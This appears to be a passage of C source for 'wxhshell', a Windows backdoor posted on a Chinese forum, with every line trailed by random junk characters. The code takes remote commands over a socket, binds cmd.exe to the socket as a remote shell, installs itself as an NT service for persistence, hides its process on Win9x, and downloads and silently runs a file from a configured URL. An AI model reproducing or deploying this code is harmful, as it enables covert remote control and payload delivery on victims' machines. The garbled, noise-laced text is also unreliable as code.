  else { hp9LV2_5  
7(tsmP  
    switch(cmd[0]) { .{`C>/"}  
  5%fWX'mS  
  // 帮助 pO:]3qv  
  case '?': { C8Mx>6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F?H=2mzKbz  
    break; &zEBfr  
  } U\j g X  
  // 安装 u1#(~[.  
  case 'i': { ?(K=du  
    if(Install()) y6[le*T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]plp.f#av  
    else c@}t@k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >ZG$8y 'j  
    break; qs bo"29  
    } 9=T;Dxn  
  // 卸载 w4TQ4 Y  
  case 'r': { xypgG;`\  
    if(Uninstall()) NqOX);'L0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (6a<{  
    else ?f q!BV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +By'6?22  
    break; <)(W7#Ks  
    } HKT, 5  
  // 显示 wxhshell 所在路径 ,i<cst)$u  
  case 'p': { hf2bM `d  
    char svExeFile[MAX_PATH]; Avi_]h&  
    strcpy(svExeFile,"\n\r"); Y&Fg2_\">  
      strcat(svExeFile,ExeFile); H7;, Kr  
        send(wsh,svExeFile,strlen(svExeFile),0); Y2.zT6i  
    break; eXK3W2XF  
    } .f-=gZ* *  
  // 重启 il !B={  
  case 'b': { N_iy4W(NU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5<v1v&  
    if(Boot(REBOOT)) ^5TVm>F@3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M")/6PH8  
    else { ;l @lA)i  
    closesocket(wsh); ivq(eKy  
    ExitThread(0); 6z6\xkr  
    } vWeY[>oGur  
    break; #(Gz?kGAH`  
    } *xsBFCRU  
  // 关机 $^{#hYq)o  
  case 'd': { ]|,}hsN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rEj[XK  
    if(Boot(SHUTDOWN)) )qbkKCq/FB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c};%VB  
    else { Z/?{{}H+  
    closesocket(wsh); \( {'Xo >(  
    ExitThread(0); U1) Zh-aR  
    } (y.N-I,  
    break; +BL46 Bq  
    } {dpDQP +!  
  // 获取shell sHk>ek]2I  
  case 's': {   P3|s}&  
    CmdShell(wsh); h ka_Fo  
    closesocket(wsh); a <?~1pWtc  
    ExitThread(0); >J S^yVk  
    break; -XV+F@`Md  
  } C&vi7Yx  
  // 退出 YkB@fTTS  
  case 'x': { 1eshuL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KHHYk>FR  
    CloseIt(wsh); t$Rc 0  
    break; xt,Qn460;  
    } -mRgB"8  
  // 离开 VlA]A,P}i  
  case 'q': { ;zD4 #7=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }a~hd*-#  
    closesocket(wsh); '&#gs P9  
    WSACleanup(); SKnYeT  
    exit(1); 23L>)Q  
    break; O |P<s+  
        } +8N6tw/&  
  } !^su=c  
  } =VuSi(d;e{  
At=d//5FFP  
  // 提示信息 H#;*kc a4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GK'p$`oJm  
} LPJ7V` !k  
  } q: FhuOP  
FV "pJ  
  return; 4FRi=d;mP  
} c6 mS  
-X$EE$:  
// shell模块句柄 wxh\CBxG  
int CmdShell(SOCKET sock) Fl=H5HR  
{ UiH7  
STARTUPINFO si; @g5y_G{SP  
ZeroMemory(&si,sizeof(si)); ]&Y^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xLoQ0rt 6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X7L:cVBg  
PROCESS_INFORMATION ProcessInfo; [I4M K%YQ  
char cmdline[]="cmd"; ~d]v{<3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SU~.baP?  
  return 0; ~i%=1&K&`  
} &U]/SFY  
<O'U-. Gc  
// 自身启动模式 >rEZ$h  
int StartFromService(void) C){Q;`M-<  
{ Sf*v#?  
typedef struct 13 #ff  
{ ;Hk3y+&]a  
  DWORD ExitStatus; S5TVfV5LI  
  DWORD PebBaseAddress; ? F #&F  
  DWORD AffinityMask; <YFDS;b|  
  DWORD BasePriority; U0j>u*yE  
  ULONG UniqueProcessId; NC-K`)  
  ULONG InheritedFromUniqueProcessId; _`\!+qGq  
}   PROCESS_BASIC_INFORMATION; YWH>tt 9  
;NRh0)%|o  
PROCNTQSIP NtQueryInformationProcess; PJN9[Y{^3  
B1nm?E 0i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0!dNW,NfJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o6O-\d7^M  
k"i3$^v8  
  HANDLE             hProcess; \vT~2Y(K  
  PROCESS_BASIC_INFORMATION pbi; z&d.YO_W  
<5z!0m-G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CipDeqau2  
  if(NULL == hInst ) return 0; t7F0[E'=5\  
+X^GS^mz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U; oXX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~bb6NP;'L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P5_Ajb(@'  
{ %X2K  
  if (!NtQueryInformationProcess) return 0; lF!PiL  
@s-P!uCaT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "V]*ov&[  
  if(!hProcess) return 0; z f SE7i0  
mk1R~4v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OmWEa  
f't.?M  
  CloseHandle(hProcess); ekyCZ8iai  
3i!a\N4 K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `X@\Zv=}  
if(hProcess==NULL) return 0; d|NW&PG  
,6g{-r-2  
HMODULE hMod; %[*-aA  
char procName[255]; 0@zJa;z'  
unsigned long cbNeeded; IVSC7SBiT  
(?1$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KZ7B2  
?tjEXg>ny  
  CloseHandle(hProcess); z U[pn)pe  
(rBsh6@)  
if(strstr(procName,"services")) return 1; // 以服务启动 Zio! j%G  
#2_FM!e  
  return 0; // 注册表启动 u5}:[4N%I  
} [y`G p#  
iptA#<Yj  
// 主模块 L!Y|`P#Yr  
int StartWxhshell(LPSTR lpCmdLine) W$hCI)m(  
{ *P*~CHx>  
  SOCKET wsl; :[n~(~7?  
BOOL val=TRUE; ,nteIR'??  
  int port=0; x/<]/D  
  struct sockaddr_in door; /r~2KZE  
<pb  
  if(wscfg.ws_autoins) Install(); -1Li&K7  
ZSQiQ2\)  
port=atoi(lpCmdLine); Sr6'$8#>Y  
fL2P6N@  
if(port<=0) port=wscfg.ws_port; c2g[w;0"  
" C0dZ  
  WSADATA data; *g+ ZXB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?`?Tg&W  
ek]JzD~w$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #h=V@Dh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HU?1>}4L  
  door.sin_family = AF_INET; j13- ?fQ&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  mU4(MjP?  
  door.sin_port = htons(port); ZzE(S  
G^d3$7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8`+=~S  
closesocket(wsl); _)5E=  
return 1; 5CK\Z'c~!  
} d {U%q d  
S&UP;oc  
  if(listen(wsl,2) == INVALID_SOCKET) { _oc6=Z  
closesocket(wsl); q&@s/k  
return 1; SzpUCr"  
} &{8:XJe*,%  
  Wxhshell(wsl); zy$jTqDH  
  WSACleanup(); $jh$nMx)!  
^ou)c/68aQ  
return 0; _@B?  
yy{YduI  
} UiV#w#&P  
KU$,{Sn6@  
// 以NT服务方式启动 3<XuJ1V&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "7%jv[  
{ BT [|f[1  
DWORD   status = 0; PzKTEYJL  
  DWORD   specificError = 0xfffffff; u|IS7>Sm  
`"CA$Se8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GZaB z#U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )KFxtM-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t jThQ  
  serviceStatus.dwWin32ExitCode     = 0; y$7Ys:R~  
  serviceStatus.dwServiceSpecificExitCode = 0; %_s)Gw&sq  
  serviceStatus.dwCheckPoint       = 0; <MG&3L.[  
  serviceStatus.dwWaitHint       = 0; -hnNa A  
G)s.~ T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <1I4JPh>x  
  if (hServiceStatusHandle==0) return; f{VV U/$  
|Yw k  
status = GetLastError(); 6inAnC@I  
  if (status!=NO_ERROR) >C_G~R  
{ 3mU~G}ig  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hev;M)t  
    serviceStatus.dwCheckPoint       = 0; Zm*d)</>  
    serviceStatus.dwWaitHint       = 0; CJN~p]\  
    serviceStatus.dwWin32ExitCode     = status; bh5D}w  
    serviceStatus.dwServiceSpecificExitCode = specificError; =|AYT6z,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }d}sC\>U  
    return; %N&.B  
  } [#Apd1S_  
,TWlg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _s@PL59,  
  serviceStatus.dwCheckPoint       = 0; '-A;B.GV%  
  serviceStatus.dwWaitHint       = 0; 5XX)8gAo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P0>2}/;o  
} L,A+"  
-'qVnu  
// 处理NT服务事件,比如:启动、停止 J(}PvkA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \VhG'd3k  
{ '/qy_7O  
switch(fdwControl) d%k7n+ICQ4  
{ {K+f& 75  
case SERVICE_CONTROL_STOP: | U0s1f  
  serviceStatus.dwWin32ExitCode = 0; >#:SJ?)`T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $$ *tK8#  
  serviceStatus.dwCheckPoint   = 0; ,!Q nh:  
  serviceStatus.dwWaitHint     = 0; q n-f&R  
  { B0|W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \;MP|:{pU  
  } [ S  
  return; } .045 Wuu  
case SERVICE_CONTROL_PAUSE: AHn!>w,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (y; 6 H  
  break; #%QHb,lhl  
case SERVICE_CONTROL_CONTINUE: G?@W;o)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \k=dqWBr7  
  break; }&/>v' G  
case SERVICE_CONTROL_INTERROGATE: `PAQv+EYz  
  break; |HT7m5tu4  
}; QB X EM=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m2^vH+wD  
} >x*[izr/K  
I H=$ w c  
// 标准应用程序主函数 XcT!4xG0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ',g%L_8Sq  
{ o3+s.7 "  
pnSKIn  
// 获取操作系统版本 ZMlBd}H  
OsIsNt=GetOsVer(); 36{OE!,i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;SI (5rS?  
eEBNO*2  
  // 从命令行安装 '6vo#D9M  
  if(strpbrk(lpCmdLine,"iI")) Install(); kCEuzd=$V  
@4UX~=:686  
  // 下载执行文件 A^FkU  
if(wscfg.ws_downexe) { 3}s]F/e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n*$g1HG6  
  WinExec(wscfg.ws_filenam,SW_HIDE); "{vWdY|"  
} octQ[QXo#  
7~+Fec`Ut*  
if(!OsIsNt) { .F$}a%  
// 如果时win9x,隐藏进程并且设置为注册表启动 U9T}iI  
HideProc(); ByP<-Deh  
StartWxhshell(lpCmdLine); !0hyp |F:>  
} >k`qPpf&  
else [ x+ -N7  
  if(StartFromService()) ox`Zs2-a  
  // 以服务方式启动 IrZ\;!NK  
  StartServiceCtrlDispatcher(DispatchTable); <QvVPE}z   
else RuYIG?J=/  
  // 普通方式启动 67&IaDts  
  StartWxhshell(lpCmdLine); I)1ih  
 Mj1f;$  
return 0; :(ql=+vDb4  
}
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只看该作者 1 发表于: 2006-10-10
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